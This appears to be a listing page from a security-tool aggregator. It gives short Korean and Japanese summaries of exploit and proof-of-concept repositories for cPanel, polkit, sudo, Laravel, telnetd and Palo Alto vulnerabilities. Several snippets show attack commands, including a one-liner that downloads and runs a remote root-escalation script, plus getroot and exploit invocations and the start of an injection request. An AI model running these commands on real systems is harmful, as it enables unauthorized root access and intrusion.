tiandy-research

tiandy-research このリポジトリには、2020年8月に実施したTiandyのIPC/NVRファームウェア（これらのデバイスはOMNYとしても販売されています）の調査結果を掲載しています。この「調査」は網羅的なものではありませんが、管理者パスワードをリモートで回復したり、telnetを有効にしたり、rootパスワードを変更したりする複数の方法を見つけました。 どのバージョンが影響を受けるかを正確に言うのは難しいです。ダウンロードできるのは最近のものだけだからです。ダウンロード可能なこれらのバージョンはすべて影響を受けます: root@kitploit:...

cPanelSniper

cPanelSniper CVE-2026-41940 — cPanel & WHM 세션 파일 CRLF 주입을 통한 인증 우회 4단계 익스플로잇 체인 · 대화형 WHM 셸 · 대량 스캐너 · 파이프라인 지원 · stdlib만 사용 개요 cPanelSniper 는 cPanel & WHM에 영향을 미치는 치명적인 인증 우회 취약점인 CVE-2026-41940 을 대상으로 하는 특화된 익스플로잇 프레임워크입니다. 이 취약점은 인증되지 않은 원격 공격자가 Authorization HTTP 헤더를 통해 세션 파일에 CRLF 시퀀스를 주입하여...

CVE-2026-41940-AuthBypass-Detector

CVE-2026-41940 탐지 및 검증 개요 이 도구는 watchTowr Labs가 발견한 CVE-2026-41940에 취약한 cPanel/WHM 인스턴스 를 탐지합니다. 이 취약점은 세션 파일의 CRLF 주입을 통해 인증되지 않은 공격자가 WHM에 대한 루트 액세스 권한을 얻을 수 있게 합니다. 이 스크립트는 개념 증명PoC 탐지 도구입니다. 다음 작업을 수행하지 않습니다 : 대상 시스템을 악용하거나 수정하지 않습니다. 백도어나 지속적 액세스를 생성하지 않습니다. 자격 증명을 저장하거나 유출하지 않습니다. 취약점 체인의 처...

Ashwesker-CVE-2026-20045

🚨 CVE-2026-20045 — 제로데이 분석 🚨 🧨 개요 여러 Cisco Unified Communications 제품에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점입니다. 패치가 배포되기 전에 실제 환경에서 적극적으로 악용되었습니다. 🔥 위험한 이유 🚫 인증 불필요 🖥️ 원격 코드 실행 👑 루트 수준 액세스 가능 🌍 실제 악용 사례 확인됨 이는 공격자가 영향을 받는 시스템을 원격으로 완전히 장악할 수 있음을 의미합니다. 🚨 CVE-2026-20045.py 사용 예시 PoC 스크립트 실행을 위한 사용 예시 가 포함된...

CVE-2026-31431

CVE-2026-31431 CVE-2026-31431용 POC 스크립트 이 스크립트는 10줄짜리 소형 POC로, 모든 사용자가 시스템에서 root가 될 수 있게 해줍니다...

cve_2026_31431_audit

CVE-2026-31431 감사 이 프로젝트는 시스템이 CVE-2026-31431 에 취약한지 확인하고 연구 목적으로 이를 악용하는 방법을 시연하는 전문 Python 스크립트를 제공합니다. 🎬 전체 워크플로우 아래 다이어그램은 환경 감사SCAN, 패치 주입PUNCH, 루트 권한 상승SHELL, 마지막으로 추적 정리CLEAN에 이르는 전체 워크플로우를 보여줍니다: 🛠 핵심 기능 탐지 : 비파괴적 섀도우 시퀀스를 사용하여 현재 커널이 CVE-2026-31431 취약점의 영향을 받는지 확인합니다. 악용 : 페이지 캐시 하이재킹을 통...

CVE-2026-24061

GNU InetUtils telnetd 인수 주입 인증 우회 CVE-2026-24061 2026년 1월, GNU InetUtils의 GNU telnetd 서비스에서Kyu Neushwaistein 일명 Carlos Cortes Alvarez이 인증 우회 취약점을 발견했습니다. CVE-2026-24061로 추적되는 이 결함은 공격자가 유효한 자격 증명을 제공하지 않고도 Telnet 세션을 설정하여 대상 시스템에 대한 무단 액세스를 허용합니다. 이 취약점은 GNU telnetd 서비스의 2.7-2 버전까지 존재하며, 90년대에서 그...

CVE-2021-4034-Linux

CVE-2021-4034 PwnKit PoC: polkit의 pkexec에서 발생하는 로컬 권한 상승 취약점 CVE-2021-4034 https://seclists.org/oss-sec/2022/q1/80 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 PoC Debian 10 및 CentOS 7...

cve-2021-4034

CVE-2021-4034 のエクスプロイトを Rust で書いてみた。なんでって？ できるからさ。 https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c をベースにしています。 root@kitploit: $ ./download-and-unpack-vulnerable-pkexec.sh テスト用に setuid/setgid を有効にする場合は任意 $ cargo run --bin prep && cd playground && cargo run --bin pwn Finishe...

CVE-2025-32463

CVE-2025-32463 취약한 버전: sudo 1.9.14, 1.9.15, 1.9.16, 1.9.17 - 패치된 버전: sudo 1.9.17p1 이상 - 1.9.14보다 오래된 레거시 버전은 --chroot 옵션을 지원하지 않으므로 영향을 받지 않습니다. root@kitploit: getroot.sh와 getroot.py는 동일한 작업을 수행합니다. git clone https://github.com/shazed-x/CVE-2025-32463 cd CVE-2025-32463 ./getroot.sh 대상 머신에는 gcc가...

CVE-2021-3129-Script

CVE-2021-3129 Laravel = v8.4.2 디버그 모드: 원격 코드 실행 CVE-2021-3129 사용법： root@kitploit: python3 exp.py http://127.0.0.1:8888 Try to use Laravel/RCE1 for exploitation. +exploit: Laravel/RCE1 Result: Try to use Laravel/RCE2 for exploitation. +exploit: Laravel/RCE2 Result: Try to use Laravel/RCE3 for...

cpanelCVE-2026-41940

🔴 cPanelCVE CVE-2026-41940 — cPanel 및 WHM 인증 우회 CVSS 10.0 치명적 · 실제 공격 확인됨 · 자동 루트 로그인 📖 개요 cPanelCVE 는 cPanel 및 WHM의 세션 파일 CRLF 주입 취약점인 CVE-2026-41940에 대한 개념 증명 익스플로잇으로, WHM웹 호스트 매니저 포트 2087에서 완전한 루트 인증 우회 를 가능하게 합니다. 우회가 성공하면 이 도구는 자동으로 브라우저Chrome 또는 Firefox를 열고 root 로 WHM 인터페이스에 직접 로그인합니다 — 수동 ...

CVE-2021-4034

CVE-2021-4034 polkit 권한 상승 익스플로잇 make, ./cve-2021-4034를 실행하고 루트 셸을 즐기세요. PoC 익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다: root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1"...

pkwner

██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗ ██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗ ██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝ ██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗ ██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║ ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝ Kim...

CVE-2026-24061-PoC-Telnetd

CVE-2026-24061 개념 증명PoC ⚠️ 면책 조항: 교육 목적으로만 사용 ⚠️ 이 저장소는 CVE-2026-24061에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. 이는 엄격히 교육 목적과 통제된 실험실 환경에서 시스템을 테스트하기 위한 용도로만 제공됩니다. 저자는 이 코드의 어떠한 오용에 대해서도 책임을 지지 않습니다. CVE-2026-24061 정보 이 취약점은 inetutils-telnetd에 영향을 미치며, 인증되지 않은 원격 공격자가 USER 환경 변수를 조작하여 루트 권한을 획득할 수 있게 합니다...

POC-CVE-2021-4034

CVE-2021-4034 이 취약점은 원격으로 악용할 수 없고 그 자체로 임의 코드 실행을 허용하지 않지만, 취약한 호스트에 이미 발판을 마련한 공격자가 권한을 상승시키고 해당 기능을 달성하는 데 사용될 수 있습니다...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Copy Fail（CVE-2026-31431）PoC 및 payload 예시입니다. Technical Writeup: https://xint.io/blog/copy-fail-linux-distributions 영향을 받는 Linux 배포판 Distro| Kernel Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1| 6.12.0-124.45.1.el10...

CVE-2021-3560

CVE-2021-3560 Polkit 즉시 루트 익스플로잇 Polkit CVE-2021-3560 취약점이 있는 시스템에서 다음 명령어 한 줄로 루트 권한을 얻을 수 있습니다: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" 또는 .sh 파일을 다운로드하거나 복사하여 붙여넣어 실행할 수 있습니다. 실행하면 즉시 루트 권한을 얻습니다. 생성되는 사용자 이름은 'n3on'이며 비밀번호는 없고, 스크립트는 이후 root...

CVE-2024-3400-poc

CVE-2024-3400 취약점 PoC검증 도구 취약점 설명 CVE-2024-3400은 Palo Alto 방화벽 시스템에 존재하는 명령 주입 취약점입니다. 공격자는 정교하게 구성된 HTTP 요청을 통해 대상 서버에서 악성 명령을 실행하고, 심지어 root 권한을 획득할 수 있습니다. 취약점 재현 절차 1. 다음 HTTP 요청을 전송합니다: root@kitploit: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie:...

CVE-2026-41651

CVE-2026-41651 - Pack2TheRoot 취약점 개요 CVE-2026-41651은 Pack2TheRoot 취약점으로도 알려져 있으며, 특정 Linux 시스템에 영향을 미치는 심각한 보안 결함입니다. 이 취약점은 공격자가 권한을 상승시켜 잠재적으로 루트 액세스 권한을 얻거나 시스템을 손상시킬 수 있게 합니다. 이 취약점은 일반적인 보안 제한을 우회할 수 있기 때문에 특히 심각합니다. 영향 권한 상승: 권한이 없는 사용자가 루트 권한으로 작업을 실행할 수 있습니다. 시스템 손상: 악용될 경우 전체 시스템 손상이...